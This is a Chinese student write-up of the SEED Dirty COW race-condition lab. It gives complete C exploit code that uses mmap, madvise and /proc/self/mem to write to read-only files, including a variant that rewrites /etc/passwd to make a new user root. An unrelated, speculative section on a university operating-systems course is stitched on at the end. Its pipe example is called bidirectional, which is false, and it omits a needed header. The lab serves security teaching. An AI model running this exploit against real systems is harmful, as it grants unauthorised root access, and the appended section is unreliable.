HNU软件安全测试实验二之dirty cow

Dirty COW Attack Lab

1 概述

Dirty COW 漏洞是竞赛条件漏洞的一个有趣案例。它自 2007 年 9 月起就存在于 Linux 内核中,并于 2016 年 10 月被发现和利用。该漏洞影响包括 Android 在内的所有基于 Linux 的操作系统,其后果非常严重:攻击者可以通过利用该漏洞获得 root 权限。该漏洞存在于 Linux 内核的复制写入代码中。利用这个漏洞,攻击者可以修改任何受保护的文件,即使这些文件只有他们自己才能读取。
本实验室的目的是让学生获得有关 Dirty COW 攻击的实践经验,了解该攻击所利用的竞赛条件漏洞,并加深对一般竞态条件安全问题的理解。在本实验中,学生将利用 Dirty COW 竞态条件漏洞获得 root 权限。

实验环境 本实验室在预构建的 Ubuntu 12.04 虚拟机上进行了测试,该虚拟机可从 SEED 网站下载。如果你使用的是 SEEDUbuntu 16.04 虚拟机,此攻击将不起作用,因为内核中的漏洞补丁已被修补。

2 任务 1: 修改虚拟只读文件

这项任务的目的是利用 Dirty COW 漏洞写入只读文件。

2.1 创建虚拟文件

首先,我们需要选择一个目标文件。虽然该文件可以是系统中的任何只读文件,但我们将在此任务中使用一个虚拟文件,这样就不会在出错时损坏重要的系统文件。在根目录下创建一个名为 zzz 的文件,将其权限更改为普通用户只读,并使用 gedit 等编辑器在文件中随意添加一些内容。这里添加的内容是:"111111222222333333"。ubuntu中指令及输出如下:

从上述实验中,我们可以看出,如果让一个普通用户写入该文件,我们将失败,因为该文件在普通用户中是可读的。但是,由于系统中存在 “DirtyCOW” 漏洞,我们可以找到写入该文件的方法。我们的目标是用 “******” 替换 “222222” 这一部分。

2.2 设置内存映射线程

可以从实验室网站下载程序 cow_attack.c。该程序有三个线程:主线程、写线程和madvise线程。主线程会将 /zzz 映射到内存中,找到 “222222” 这一部分的位置,然后创建两个线程来利用操作系统内核中的脏牛漏洞。

/* cow_attack.c (the main thread) */

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f = open("/zzz", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "222222");

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    return 0;
}

在上述代码中,我们需要找到 “222222 ”字符串的位置。然后,我们启动两个线程:madvise线程和写线程。

2.3 设置写线程

下面列出的写线程的工作是将内存中的 “222222” 替换为 “******”。由于映射内存是 COW 类型的,因此该线程将无法修改映射内存副本中的内容,这不会对下面的 /zzz 文件造成任何改变。 

/* cow_attack.c (the write thread) */

void *writeThread(void *arg)
{
    char *content= "*******";
    off_t offset = (off_t) arg;

    int f = open("/proc/self/mem", O_RDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}

2.4 madvise线程

madvise线程只做了一件事:丢弃映射内存的私有副本,使页表指回原来的映射内存。

/* cow_attack.c (the madvise thread) */

void *madviseThread(void *arg)
{
    int file_size = (int) arg;
    while(1){
        madvise(map, file_size, MADV_DONTNEED);
    }
}

2.5 发起攻击

如果交替调用 write() 和 madvise()系统调用,即一个调用在另一个调用结束后才调用,那么写操作将始终在私有副本上执行,我们将永远无法修改目标文件。攻击成功的唯一途径是在 write() 系统调用仍在运行时执行 madvise() 系统调用。我们不可能总是做到这一点,因此需要多次尝试。只要概率不是极低,我们就有机会。这就是我们在线程中无限循环运行两个系统调用的原因。编译cow_attack.c,并运行几秒钟。如果攻击成功,就可以看到修改后的 /zzz 文件。ubuntu中指令如下:

等待几秒后按下Ctrl-C终止程序,使用cat /zzz命令查看文件,可以发现文件已被修改为“111111******333333”,即表明攻击成功。

 3 任务 2: 修改passwd文件以获得root权限

现在,让我们对一个真实的系统文件发起攻击,从而获得 root 权限。我们选择 /etc/passwd 文件作为目标文件。该文件所有用户可读,但非 root 用户无法修改。该文件包含用户账户信息,每个用户一条记录。假设我们的用户名为 seed . 下面几行显示了 root 和 seed 的记录:

上述每条记录都包含七个用冒号分隔的字段。我们感兴趣的是第三个字段,它指定了分配给用户的用户 ID(UID)值。UID 是 Linux 中访问控制的主要依据,因此该值对安全性至关重要。root 用户的 UID 字段包含一个特殊值 0;这是它成为超级用户的原因,而不是它的名字。任何 UID 为 0 的用户都会被系统视为 root 用户,无论其用户名是什么。seed 用户的 ID 只有 1000,所以它没有 root 权限。但是,如果我们能将该值改为 0,就能将其变为 root 用户。我们将利用 Dirty COW 漏洞来实现这一目标。在我们的实验中,我们将不使用 seed 账户,因为书中的大部分实验都使用该账户;如果我们在实验后忘记将 UID 改回,其他实验将受到影响。相反,我们将创建一个名为 charlie 的新账户,并使用 Dirty COW 攻击将这个普通用户变成 root 用户。使用 adduser 命令可以添加新账户。创建账户后,将在 /etc/passwd 中添加一条新记录。ubuntu中命令及输出如下:

现在,我们需要修改 /etc/passwd 中 charlie 的条目,将第三个字段从 1001 改为 0000,这样 charlie 基本上就变成了 root 账户。我们无法直接写入该文件,但我们可以使用脏牛攻击来写入该文件。

修改前面的 cow_attack.c 文件,得到如下所示的gain_root.c:

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/etc/passwd", O_RDONLY);  //*******修改1*******

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "charlie:x:1001");  //*******修改2*******                        

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread, position);             

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);

  return 0;

}

void *writeThread(void *arg)
{
  char *content= "charlie:x:0000";  //*******修改3*******
  off_t offset = (off_t) arg;
  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}

共三处修改。修改完成后,使用下面的命令进行编译运行,等待几秒后按下Ctrl-C终止程序。

gcc gain_root.c -lpthread
a.out

再然后,使用以下命令登录 charlie 账户,输入 id 查看得到此时的 uid 为0,说明我们已成功获得 root 权限。

 

### 关于湖南大学操作系统课程实验的相关资料 对于湖南大学的操作系统课程,其学时安排为 88 学时,其中包括讲授 64 学时、课程指导(小班讨论)8 学时以及课程实践(实验16 学时[^1]。这表明实验部分在整个课程体系中占有重要地位。 关于具体到操作系统的 **实验** 的相关内容,在已有的引用材料中并未直接提及具体的实验题目或内容。然而,通常情况下,操作系统课程的实验设计会围绕核心概念展开,可能涉及进程管理、线程同步、内存分配等方面的内容。以下是基于常见操作系统实验主题推测的一个典型实验方向: #### 可能的实验主题:进程间通信 (Inter-process Communication, IPC) 该实验的目标可能是让学生理解并实现不同形式的进程间通信机制。常见的实验任务包括但不限于以下几点: - 使用管道(Pipe)、命名管道(Named Pipe/FIFO)完成父子进程之间的数据传递。 - 利用信号量(Semaphore)解决生产者消费者问题或其他经典的并发控制场景。 - 借助共享内存(Shared Memory),配合信号灯机制,实现在多进程中安全访问公共资源的功能。 下面提供一段简单的 Linux 下通过匿名 pipe 进行父进程向子进程发送消息的例子作为参考: ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { int fd[2]; pid_t childpid; char string[] = "Hello from parent!"; char readbuffer[BUFSIZ]; if(pipe(fd) == -1){ perror("pipe failed"); exit(EXIT_FAILURE); } childpid = fork(); if(childpid == -1){ perror("fork failed"); exit(EXIT_FAILURE); } if(childpid == 0){ /* Child process closes up input side of pipe */ close(fd[1]); // Read in a string from the pipe and display it. read(fd[0], readbuffer, BUFSIZ); printf("Child Process Received String: %s\n",readbuffer); close(fd[0]); exit(EXIT_SUCCESS); }else{ /* Parent process sends message via output side of pipe to child then waits.*/ close(fd[0]); write(fd[1],string,strlen(string)+1); close(fd[1]); wait(NULL); } } ``` 上述代码展示了如何创建一个双向通信通道,并让父进程写入信息给子进程读取的过程。 如果需要更详细的官方教程或者确切的任务描述,则建议联系授课教师获取最权威的第一手资料,因为不同的学校甚至同一所学校的不同班级可能会依据实际情况调整其实验项目细节。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值